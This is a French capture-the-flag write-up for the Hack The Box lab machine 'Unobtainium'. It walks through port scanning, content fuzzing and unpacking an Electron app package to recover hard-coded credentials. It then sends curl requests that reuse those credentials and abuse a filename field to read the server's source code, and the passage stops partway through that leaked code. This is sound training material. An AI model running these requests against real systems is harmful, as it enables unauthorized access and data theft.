Writeup - Unobatainium - FR

Writeup - Unobatainium - FR

🔭 Découverte

Pour débuter notre exploration, lançons un scan réseau complet en utilisant nmap (lien vers l’outil : Nmap: the Network Mapper - Free Security Scanner) avec plusieurs options pour maximiser la collecte d'informations. Voici la commande: nmap -sC -sV -p- 10.129.136.226 -Pn -T5 , voici un court descriptif des arguments:

  • sC : Cette option active l'exécution de scripts par défaut. Nmap possède une large bibliothèque de scripts qui permettent de réaliser des tâches d'enumeration supplémentaires et de détecter des vulnérabilités spécifiques. Cela aide à collecter plus d'informations sur les services détectés.
  • sV : Elle permet d'activer la détection de version des services. Nmap essaie de déterminer quelles versions des services tournent sur les ports ouverts.
  • p- : Cette option indique à Nmap de scanner tous les 65535 ports TCP d'une machine. Par défaut, Nmap ne scanne que les 1000 ports les plus courants.
  • Pn : Cette option indique à Nmap de ne pas effectuer de détection d’hôte. Nmap ne tente pas de déterminer si la cible est en ligne avant de lancer le scan. C'est utile lorsque la cible utilise des règles de filtrage ICMP pour masquer sa présence, mais dans notre cas on sait pertinemment que la machine est là.
  • T5 : Cette option ajuste le timing du scan à "Insane" (le niveau le plus rapide). Cela accélère l'exécution du scan mais peut augmenter la charge sur le réseau et la machine cible, et risque de rendre le scan moins discret et plus susceptible de manquer des informations. Dans notre cas cela fera l’affaire.
nmap -sC -sV -p- 10.129.136.226 -Pn -T5
Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-26 10:17 BST
Warning: 10.129.136.226 giving up on port because retransmission cap hit (2).
Stats: 0:01:06 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 26.95% done; ETC: 10:21 (0:02:59 remaining)
Nmap scan report for 10.129.136.226
Host is up (0.066s latency).
Not shown: 64360 closed tcp ports (conn-refused), 1169 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
22/tcp    open  ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp    open  http          Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Unobtainium
|_http-server-header: Apache/2.4.41 (Ubuntu)
8443/tcp  open  ssl/https-alt
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 401 Unauthorized
|     Audit-Id: c0446765-f79c-4c1d-bfc4-37a92197971c
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     Date: Fri, 26 Apr 2024 09:22:10 GMT
|     Content-Length: 129
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
|   GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 401 Unauthorized
|     Audit-Id: 1b0874a2-544e-4179-b8fc-97726e88cda4
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     Date: Fri, 26 Apr 2024 09:22:07 GMT
|     Content-Length: 129
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
|   HTTPOptions:
|     HTTP/1.0 401 Unauthorized
|     Audit-Id: f1dbfe26-e629-46fe-962f-2d98766c1ef2
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     Date: Fri, 26 Apr 2024 09:22:10 GMT
|     Content-Length: 129
|_    {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=k3s/organizationName=k3s
| Subject Alternative Name: DNS:kubernetes, DNS:kubernetes.default, DNS:kubernetes.default.svc, DNS:kubernetes.default.svc.cluster.local, DNS:localhost, DNS:unobtainium, IP Address:10.10.10.235, IP Address:10.129.136.226, IP Address:10.43.0.1, IP Address:127.0.0.1
| Not valid before: 2022-08-29T09:26:11
|_Not valid after:  2024-10-26T13:35:54
10250/tcp open  ssl/http      Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=unobtainium
| Subject Alternative Name: DNS:unobtainium, DNS:localhost, IP Address:127.0.0.1, IP Address:10.129.136.226
| Not valid before: 2022-08-29T09:26:11
|_Not valid after:  2025-04-26T09:06:41
10251/tcp open  unknown
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 404 Not Found
|     Cache-Control: no-cache, private
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Fri, 26 Apr 2024 09:22:27 GMT
|     Content-Length: 19
|     page not found
|   GenericLines, Help, Kerberos, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest, HTTPOptions:
|     HTTP/1.0 404 Not Found
|     Cache-Control: no-cache, private
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Fri, 26 Apr 2024 09:22:01 GMT
|     Content-Length: 19
|_    page not found
31337/tcp open  http          Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
| http-methods:
|_  Potentially risky methods: PUT DELETE
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8443-TCP:V=7.93%T=SSL%I=7%D=4/26%Time=662B7237%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,14A,"HTTP/1\.0\x20401\x20Unauthorized\r\nAudit-Id:\x201b
SF:0874a2-544e-4179-b8fc-97726e88cda4\r\nCache-Control:\x20no-cache,\x20pr
SF:ivate\r\nContent-Type:\x20application/json\r\nDate:\x20Fri,\x2026\x20Ap
SF:r\x202024\x2009:22:07\x20GMT\r\nContent-Length:\x20129\r\n\r\n{\"kind\"
SF::\"Status\",\"apiVersion\":\"v1\",\"metadata\":{},\"status\":\"Failure\
SF:",\"message\":\"Unauthorized\",\"reason\":\"Unauthorized\",\"code\":401
SF:}\n")%r(HTTPOptions,14A,"HTTP/1\.0\x20401\x20Unauthorized\r\nAudit-Id:\
SF:x20f1dbfe26-e629-46fe-962f-2d98766c1ef2\r\nCache-Control:\x20no-cache,\
SF:x20private\r\nContent-Type:\x20application/json\r\nDate:\x20Fri,\x2026\
SF:x20Apr\x202024\x2009:22:10\x20GMT\r\nContent-Length:\x20129\r\n\r\n{\"k
SF:ind\":\"Status\",\"apiVersion\":\"v1\",\"metadata\":{},\"status\":\"Fai
SF:lure\",\"message\":\"Unauthorized\",\"reason\":\"Unauthorized\",\"code\
SF:":401}\n")%r(FourOhFourRequest,14A,"HTTP/1\.0\x20401\x20Unauthorized\r\
SF:nAudit-Id:\x20c0446765-f79c-4c1d-bfc4-37a92197971c\r\nCache-Control:\x2
SF:0no-cache,\x20private\r\nContent-Type:\x20application/json\r\nDate:\x20
SF:Fri,\x2026\x20Apr\x202024\x2009:22:10\x20GMT\r\nContent-Length:\x20129\
SF:r\n\r\n{\"kind\":\"Status\",\"apiVersion\":\"v1\",\"metadata\":{},\"sta
SF:tus\":\"Failure\",\"message\":\"Unauthorized\",\"reason\":\"Unauthorize
SF:d\",\"code\":401}\n")%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Req
SF:uest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x2
SF:0close\r\n\r\n400\x20Bad\x20Request")%r(RTSPRequest,67,"HTTP/1\.1\x2040
SF:0\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\
SF:nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Help,67,"HTTP/1\
SF:.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=
SF:utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(SSLSessi
SF:onReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/p
SF:lain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Req
SF:uest")%r(TerminalServerCookie,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\
SF:r\n\r\n400\x20Bad\x20Request");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port10251-TCP:V=7.93%I=7%D=4/26%Time=662B7231%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(GetRequest,D2,"HTTP/1\.0\x20404\x20Not\x20Found\r\nCache
SF:-Control:\x20no-cache,\x20private\r\nContent-Type:\x20text/plain;\x20ch
SF:arset=utf-8\r\nX-Content-Type-Options:\x20nosniff\r\nDate:\x20Fri,\x202
SF:6\x20Apr\x202024\x2009:22:01\x20GMT\r\nContent-Length:\x2019\r\n\r\n404
SF:\x20page\x20not\x20found\n")%r(HTTPOptions,D2,"HTTP/1\.0\x20404\x20Not\
SF:x20Found\r\nCache-Control:\x20no-cache,\x20private\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nX-Content-Type-Options:\x20nosniff\r\nD
SF:ate:\x20Fri,\x2026\x20Apr\x202024\x2009:22:01\x20GMT\r\nContent-Length:
SF:\x2019\r\n\r\n404\x20page\x20not\x20found\n")%r(RTSPRequest,67,"HTTP/1\
SF:.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=
SF:utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Help,67,
SF:"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20
SF:charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(
SF:SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x
SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba
SF:d\x20Request")%r(TerminalServerCookie,67,"HTTP/1\.1\x20400\x20Bad\x20Re
SF:quest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x
SF:20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSessionReq,67,"HTTP/1\.1\x2
SF:0400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8
SF:\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Kerberos,67,"
SF:HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20c
SF:harset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(F
SF:ourOhFourRequest,D2,"HTTP/1\.0\x20404\x20Not\x20Found\r\nCache-Control:
SF:\x20no-cache,\x20private\r\nContent-Type:\x20text/plain;\x20charset=utf
SF:-8\r\nX-Content-Type-Options:\x20nosniff\r\nDate:\x20Fri,\x2026\x20Apr\
SF:x202024\x2009:22:27\x20GMT\r\nContent-Length:\x2019\r\n\r\n404\x20page\
SF:x20not\x20found\n")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request\
SF:r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20clos
SF:e\r\n\r\n400\x20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 371.29 seconds

Pour synthétiser les résultats du scan nmap, voici un tableau récapitulatif :

Port État Service Version Informations supplémentaires
22/tcp Open SSH OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux) Clés SSH : RSA, ECDSA, ED25519
80/tcp Open HTTP Apache httpd 2.4.41 (Ubuntu) Titre HTTP : Unobtainium; En-tête du serveur : Apache 2.4.41 (Ubuntu)
8443/tcp Open SSL/HTTPS-alt - Cela ressemble drôlement à une API Kubernetes
10250/tcp Open SSL/HTTP Golang net/http server (Go-IPFS json-rpc or InfluxDB API) Certificat SSL pour 'unobtainium' et 'localhost'. Pas de titre HTTP, contenus en texte brut.
10251/tcp Open Unknown - Réponses à diverses requêtes, principalement des erreurs 404 Not Found et 400 Bad Request avec des contenus en texte brut.
31337/tcp Open HTTP Node.js Express framework Pas de titre HTTP; Méthodes HTTP potentiellement risquées : PUT, DELETE. Contenus en JSON.

Pour faire simple, cette machine utilisent les technologies suivantes:

  • Kubernetes (?)
  • Apache httpd
  • OpenSSh
  • Node.js (express)

Dans le résultat de la commande nmap on peut constater la présence d’un domaine que nous ne connaissons pas: unobtainium :

| SubjectAlternative Name: DNS:unobtainium, DNS:localhost, IP Address:127.0.0.1, IP Address:10.129.136.226

Ajoutons le à notre fichier /etc/hosts pour la résolution du domaine:

┌─[htb-mp-757893☺htb-15thsl5jzi]─[~/Downloads]
└──╼ $sudo vi /etc/hosts
┌─[htb-mp-757893☺htb-15thsl5jzi]─[~/Downloads]
└──╼ $tail -n1 /etc/hosts
10.129.136.226 unobtainium unobtainium.htb

Passons à l’inspection de l’application web qui est disponible sur le port 80. Commençons par utiliser feroxbuster (lien vers l’outil: https://github.com/epi052/feroxbuster) qui va nous permettre de fuzz le contenu de l’application web.

feroxbuster -u http://10.129.136.226 -w /opt/useful/SecLists/Discovery/Web-Content/big.txt --silent

  • u http://10.129.136.226 : Cet argument spécifie l'URL de base que feroxbuster va utiliser pour le fuzzing. C'est le point de départ où l'outil commence à tester pour découvrir des ressources cachées ou non référencées directement.
  • w /opt/useful/SecLists/Discovery/Web-Content/big.txt : Cet argument prend le chemin d'un fichier qui contient une liste de mots (paths, noms de fichiers, etc.) à tester contre l'URL de base spécifiée. Dans ce cas, big.txt est utilisé, qui est une liste complète de chemins potentiels pour le fuzzing. Ce fichier est souvent utilisé pour découvrir des fichiers et des répertoires cachés sur le serveur web. Voici un lien vers le repo GitHub SecLists (ps: il vaut vraiment de détour https://github.com/danielmiessler/SecLists)
  • -silent : Cet argument indique à feroxbuster de supprimer la plupart des sorties en console, à l'exception des résultats des chemins découverts. C'est utile pour réduire le bruit lors de l'exécution et se concentrer uniquement sur les données pertinentes.
feroxbuster -u http://10.129.136.226 -w /opt/useful/SecLists/Discovery/Web-Content/big.txt --silent

http://10.129.136.226/assets => http://10.129.136.226/assets/
http://10.129.136.226/assets/js/main.js
http://10.129.136.226/assets/js/util.js
http://10.129.136.226/downloads/unobtainium_snap.zip
http://10.129.136.226/downloads/checksums.txt
http://10.129.136.226/downloads => http://10.129.136.226/downloads/
http://10.129.136.226/images => http://10.129.136.226/images/
http://10.129.136.226/downloads/unobtainium_redhat.zip
http://10.129.136.226/downloads/unobtainium_debian.zip
http://10.129.136.226/

Cela nous donne une idée de ce que l'on va trouver sur cette application, il semblerait que nous puissions télécharger des fichiers, vérifions cela.

En se rendant sur http://<ip-de-la-machine>/ à l’aide de notre navigateur web préféré nous tombons sur la page suivante :

landing.png

Il semblerait que nous pouvons y télécharger plusieurs packages dans les formats suivants:

  • .deb
  • .rpm
  • .snap

Vérifions le téléchargement:

wget http://10.129.136.226/downloads/unobtainium_dbian.zip

unzip -l unobtainium_debian.zip
Archive:  unobtainium_debian.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
 54849036  2021-01-19 06:16   unobtainium_1.0.0_amd64.deb
       62  2021-03-24 10:22   unobtainium_1.0.0_amd64.deb.md5sum
---------                     -------

curl -sS -m2 http://10.129.136.226/downloads/checksums.txt
c9fe8a2bbc66290405803c3d4a37cf28  unobtainium_1.0.0_amd64.deb
d61b48f165dab41af14c49232975f6a1  unobtainium_1.0.0_amd64.snap
9e35724c18f9f98192f0412c89ba54c7  unobtainium-1.0.0.x86_64.rpm

On peut effectivement les télécharger. Inspectons le contenu de ce package. Pour cela on va utiliser la commande ar x pour extraire le contenu du fichier unobtainium_1.0.0_amd64.deb (voir le man de ar: ar(1) - Linux man page (die.net)).

$ ls
unobtainium_1.0.0_amd64.deb  unobtainium_1.0.0_amd64.deb.md5sum  unobtainium_debian.zip

$ ar x unobtainium_1.0.0_amd64.deb

$ ls
control.tar.gz  debian-binary                unobtainium_1.0.0_amd64.deb.md5sum
data.tar.xz     unobtainium_1.0.0_amd64.deb  unobtainium_debian.zip

$ tar -xvf *.tar.*
./
./postinst
./postrm
./control
./data
./md5sums

$ rm *.tar.xz *.deb* *.z

$ ls
control         data    md5sums   postrm   debian-binary   postinst  

$ tree
.
├── control
├── data
├── debian-binary
├── md5sums
├── postinst
└── postrm

1 directories, 5 files

Super nous avons de quoi faire, nous allons commencer par inspecter le fichier control

cat control
Package: unobtainium
Version: 1.0.0
License: ISC
Vendor: felamos <felamos@unobtainium.htb>
Architecture: amd64
Maintainer: felamos <felamos@unobtainium.htb>
Installed-Size: 185617
Depends: libgtk-3-0, libnotify4, libnss3, libxss1, libxtst6, xdg-utils, libatspi2.0-0, libuuid1, libappindicator3-1, libsecret-1-0
Section: default
Priority: extra
Homepage: http://unobtainium.htb
Description:
  clie
  • Package : Nom du paquet.
  • Version : Indique la version du paquet, ici 1.0.0.
  • License : Type de licence sous laquelle le logiciel est distribué, ici ISC.
  • Vendor : Le vendeur ou l'entité qui fournit le paquet, identifié par felamos@unobtainium.htb.
  • Architecture : Type d'architecture sur laquelle le paquet fonctionnera, ici amd64.
  • Maintainer : Responsable de la maintenance du paquet, également felamos.
  • Installed-Size : Taille estimée une fois le paquet installé.
  • Depends : Liste des dépendances requises pour que le logiciel fonctionne correctement.
  • Homepage : Page d'accueil du projet ou du développeur, offrant souvent des informations supplémentaires sur le logiciel.
  • Description : Description brève du logiciel, qui semble être tronquée dans l'extrait.

On aurait éventuellement un premier nom d’utilisateur : felamos et on peut confirmer le domaine unobtainium.htb.

Passons maintenant aux scripts postinst et postrm .

postinst :

cat postinst
#!/bin/bash

# Link to the binary
ln -sf '/opt/unobtainium/unobtainium' '/usr/bin/unobtainium'

# SUID chrome-sandbox for Electron 5+
chmod 4755 '/opt/unobtainium/chrome-sandbox' || true

update-mime-database /usr/share/mime || true
update-desktop-database /usr/share/applications || true

Ce script est exécuté après l'installation du paquet. Il effectue plusieurs actions :

  1. Création d'un lien symbolique : Facilite l'exécution du programme unobtainium en le reliant à /usr/bin, un répertoire standard pour les exécutables.
  2. Configuration de permissions spéciales : Le script met en place le bit SUID (chmod 4755) sur chrome-sandbox. Ceci est crucial car cela permet au programme d'exécuter certaines opérations avec les privilèges du propriétaire du fichier, ici probablement root. Cette configuration peut présenter des risques de sécurité si elle est exploitée de manière malveillante.
  3. Mise à jour des bases de données système : Les commandes update-mime-database et update-desktop-database aident à intégrer le logiciel dans l'environnement de bureau, en s'assurant que les types de fichiers et les applications sont correctement reconnus et lancés.

postrm :

cat postrm
#!/bin/bash

# Delete the link to the binary
rm -f '/usr/bin/unobtainium'

Exécuté après la désinstallation du paquet, ce script a pour principal but de nettoyer les modifications réalisées lors de l'installation :

  1. Suppression du lien symbolique : Assure qu'aucun résidu du programme n'est accessible via le chemin standard /usr/bin après la désinstallation.

Cela ne semble pas trop intéressant pour nous, passons au répertoire data.

data :

$ cd data
$ tree -L 3
.
├── opt
│   └── unobtainium
│       ├── chrome_100_percent.pak
│       ├── chrome_200_percent.pak
│       ├── chrome-sandbox
│       ├── icudtl.dat
│       ├── libEGL.so
│       ├── libffmpeg.so
│       ├── libGLESv2.so
│       ├── libvk_swiftshader.so
│       ├── libvulkan.so
│       ├── LICENSE.electron.txt
│       ├── LICENSES.chromium.html
│       ├── locales
│       ├── resources
│       ├── resources.pak
│       ├── snapshot_blob.bin
│       ├── swiftshader
│       ├── unobtainium
│       ├── v8_context_snapshot.bin
│       └── vk_swiftshader_icd.json
└── usr
    └── share
        ├── applications
        ├── doc
        └── icons

10 directories, 17 files

Creusons le répertoire opt :

tree
.
├── chrome_100_percent.pak
├── chrome_200_percent.pak
├── chrome-sandbox
├── icudtl.dat
├── libEGL.so
├── libffmpeg.so
├── libGLESv2.so
├── libvk_swiftshader.so
├── libvulkan.so
├── LICENSE.electron.txt
├── LICENSES.chromium.html
├── locales
│   ├── am.pak
<SNIP>
│   └── zh-TW.pak
├── resources
│   └── app.asar
├── resources.pak
├── snapshot_blob.bin
├── swiftshader
│   ├── libEGL.so
│   └── libGLESv2.so
├── unobtainium
├── v8_context_snapshot.bin
└── vk_swiftshader_icd.json

3 directories, 72 files
  • Fichiers de configuration et de runtime de Chromium :
    • chrome_100_percent.pak, chrome_200_percent.pak, icudtl.dat, libEGL.so, libffmpeg.so, libGLESv2.so, libvk_swiftshader.so, libvulkan.so : Ces fichiers sont typiquement utilisés par les applications Electron pour charger et exécuter des applications web comme des applications de bureau. Ils incluent des bibliothèques pour le rendu graphique et le traitement vidéo/audio.
    • chrome-sandbox : Un fichier exécutable utilisé par Electron pour exécuter des processus dans un environnement isolé (sandbox).
  • Licences :
    • LICENSE.electron.txt, LICENSES.chromium.html : Fichiers de licence pour les composants Electron et Chromium utilisés dans l'application.
  • Localisations :
    • Dossier locales contenant des fichiers .pak pour diverses localisations, permettant à l'application de supporter plusieurs langues.
  • Ressources de l'Application :
    • resources/app.asar : Un package archive contenant le code source et les ressources de l'application.
    • resources.pak, snapshot_blob.bin, v8_context_snapshot.bin : Fichiers de ressources et snapshots pour V8, le moteur JavaScript utilisé par Chromium et Electron.
  • SwiftShader :
    • Dossier swiftshader contenant des bibliothèques pour la rasterisation logicielle, utilisées lorsque l'accélération matérielle n'est pas disponible.
  • Exécutable principal :
    • unobtainium : L'exécutable principal de l'application.

On va donc se pencher sur le fichier resources/app.asar. Commençons par vérifier les métadonnées de ce fichier :

$ file app.asar
app.asar: data

$ exiftool app.asar
ExifTool Version Number         : 12.16
File Name                       : app.asar
Directory                       : .
File Size                       : 579 KiB
File Modification Date/Time     : 2021:01:19 06:14:37+00:00
File Access Date/Time           : 2024:04:26 11:29:57+01:00
File Inode Change Date/Time     : 2024:04:26 11:25:48+01:00
File Permissions                : rw-r--r--
Error                           : Unknown file type

Ok passons, essayons maintenant d’en extraire son contenu:

┌─[✗]─[htb-mp-757893☺htb-15thsl5jzi]─[~/Downloads/deb/data/opt/unobtainium/resources]
└──╼ $strings app.asar  | head -n 15
{"files":{"index.js":{"size":503,"offset":"0"},"package.json":{"size":207,"offset":"503"},"src":{"files":{"get.html":{"size":3821,"offset":"710"},"index.html":{"size":3499,"offset":"4531"},"post.html":{"size":3858,"offset":"8030"},"todo.html":{"size":3799,"offset":"11888"},"js":{"files":{"Chart.min.js":{"size":173077,"offset":"15687"},"app.js":{"size":584,"offset":"188764"},"bootstrap.bundle.min.js":{"size":80821,"offset":"189348"},"check.js":{"size":431,"offset":"270169"},"dashboard.js":{"size":953,"offset":"270600"},"feather.min.js":{"size":75779,"offset":"271553"},"get.js":{"size":160,"offset":"347332"},"jquery.min.js":{"size":89476,"offset":"347492"},"todo.js":{"size":350,"offset":"436968"}}},"css":{"files":{"bootstrap.min.css":{"size":153111,"offset":"437318"},"dashboard.css":{"size":1573,"offset":"590429"}}}}}}}
const {app, BrowserWindow} = require('electron')
const path = require('path')
function createWindow () {
  const mainWindow = new BrowserWindow({
    webPreferences: {
      devTools: false
    }
  })
  mainWindow.loadFile('src/index.html')
app.whenReady().then(() => {
  createWindow()
  app.on('activate', function () {
    if (BrowserWindow.getAllWindows().length === 0) createWindow()
  })

Après quelques recherches je suis tombé la dessus:

Asar is a simple extensive archive format, it works like tar that concatenates all files together without compression, while having random access support.

Utilisons l’outil asar pour extraire tous les fichiers, vous trouverez la documentation de cet outil ici : source: https://github.com/electron/asar

npm exec asar e app.asar .
Need to install the following packages:
  asar
Ok to proceed? (y) y
npm WARN deprecated asar@3.2.0: Please use @electron/asar moving forward.  There is no API change, just a package name change

ls
app.asar  index.js  package.json  src

Top, décortiquons cela à présent:

opt/unobtainium/resources/index.js :

const {app, BrowserWindow} = require('electron')
const path = require('path')

function createWindow () {
  const mainWindow = new BrowserWindow({
  
    webPreferences: {
      devTools: false
    }
  })

  mainWindow.loadFile('src/index.html')

}

app.whenReady().then(() => {
  createWindow()

  app.on('activate', function () {
    if (BrowserWindow.getAllWindows().length === 0) createWindow()
  })
})

app.on('window-all-closed', function () {
  if (process.platform !== 'darwin') app.quit()
})

Rien de particulier ici, on peut juste confirmer que nous avons une application electron.

src/js/app.js :

$(document).ready(function(){
    $("#but_submit").click(function(){
        var message = $("#message").val().trim();
        $.ajax({
        url: 'http://unobtainium.htb:31337/',
        type: 'put',
        dataType:'json',
        contentType:'application/json',
        processData: false,
        data: JSON.stringify({"auth": {"name": "felamos", "password": "Winter2021"}, "message": {"text": message}}),
        success: function(data) {
            //$("#output").html(JSON.stringify(data));
            $("#output").html("Message has been sent!");
        }
    });
});
});

On avance ! On constate l'utilisation d'informations d'identification codées en dur (CWE-798, CWE - CWE-798: Use of Hard-coded Credentials (4.14) (mitre.org)), voici les identifiants: felamos:Winter2021

D’une manière générale ce code JavaScript utilise jQuery pour envoyer des données via AJAX lorsque l'utilisateur clique sur un bouton. Grâce à cela nous pouvons récupérer toutes les informations relatives aux endpoints d’API mentionnées dans ces fichiers.

Voici les informations relatives sur les endpoints que nous pouvons trouver:

METHOD ENDPOINT URL SOURCE POC
PUT / http://unobtainium.htb:31337/ src/js/app.js curl -m2 -sS -X PUT -H "Content-Type: application/json" -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "message": {"text": "message"}}' http://unobtainium.htb:31337/
{"ok":true}
HEAD / http://unobtainium.htb:31337/ src/js/check.js
POST /todo http://unobtainium.htb:31337/ src/js/todo.js curl -m2 -sS -X POST -H "Content-Type: application/json" -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "todo.txt"}' http://unobtainium.htb:31337/todo
{
"ok": true,
"content": "1. Create administrator zone.\n2. Update node JS API Server.\n3. Add Login functionality.\n4. Complete Get Messages feature.\n5. Complete ToDo feature.\n6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1\\n7. Improve security\n"
}

Commencons par vérifier l’endpoint /todo , pour cela on va utiliser curl avec les arguments suivants:

  • m 2 : spécifie le délai maximum (2 secondes) avant d'abandonner la connexion.
  • sS : supprime les messages de progression et affiche seulement les erreurs en cas de problème.
  • X POST : indique que la méthode HTTP à utiliser est POST.
  • H "Content-Type: application/json" : spécifie le type de contenu de la requête comme étant JSON.
  • d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "todo.txt"}' : envoie des données au format JSON, comprenant un objet "auth" avec les champs "name" (nom d'utilisateur) et "password" (mot de passe), ainsi que le nom du fichier ("filename") à traiter.
  • http://unobtainium.htb:31337/todo : l'URL de destination où envoyer la requête POST.
curl -m2 -sS -X POST -H "Content-Type: application/json" -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "todo.txt"}' [http://unobtainium.htb:31337/todo](http://unobtainium.htb:31337/todo) | jq
{
"ok": true,
"content": "1. Create administrator zone.\n2. Update node JS API Server.\n3. Add Login functionality.\n4. Complete Get Messages feature.\n5. Complete ToDo feature.\n6. Implement Google Cloud Storage function: [https://cloud.google.com/storage/docs/json_api/v1\\n7](https://cloud.google.com/storage/docs/json_api/v1%5C%5Cn7). Improve security\n"
}

Avec un peu de formatage on a les informations suivantes:

  1. Create administrator zone.
  2. Update node JS API Server.
  3. Add Login functionality.
  4. Complete Get Messages feature.
  5. Complete ToDo feature.
  6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1
  7. Improve security

Dans cette requête d’API on fournit un nom de fichier (ici todo.txt), on peut essayer de passer d’autres noms de fichier avec des chemins relatifs ou absolues pour voir comment l’application réagit. On sait que nous avons affaire à une API node.js express, on peut tenter de récupérer le fichier index.js qui est un fichier courant sur ce type d’application, voici le payload: {"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "index.js"} .

curl -m5 -sS -X POST -H "Content-Type: application/json" -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "index.js"}' http://unobtainium.htb:31337/todo | jq '.content' | jq -r 'fromjson
{
  "ok": true,
  "content": "var root = require(\"google-cloudstorage-commands\");\nconst express = require('express');\nconst { exec } = require(\"child_process\");\nconst bodyParser = require('body-parser');\nconst _ = require('lodash');\nconst app = express();\nvar fs = require('fs');\n\nconst users = [\n  {name: 'felamos', password: 'Winter2021'},\n  {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},\n];\n\nlet messages = [];\nlet lastId = 1;\n\nfunction findUser(auth) {\n  return users.find((u) =>\n    u.name === auth.name &&\n    u.password === auth.password);\n}\n\napp.use(bodyParser.json());\n\napp.get('/', (req, res) => {\n  res.send(messages);\n});\n\napp.put('/', (req, res) => {\n  const user = findUser(req.body.auth || {});\n\n  if (!user) {\n    res.status(403).send({ok: false, error: 'Access denied'});\n    return;\n  }\n\n  const message = {\n    icon: '__',\n  };\n\n  _.merge(message, req.body.message, {\n    id: lastId++,\n    timestamp: Date.now(),\n    userName: user.name,\n  });\n\n  messages.push(message);\n  res.send({ok: true});\n});\n\napp.delete('/', (req, res) => {\n  const user = findUser(req.body.auth || 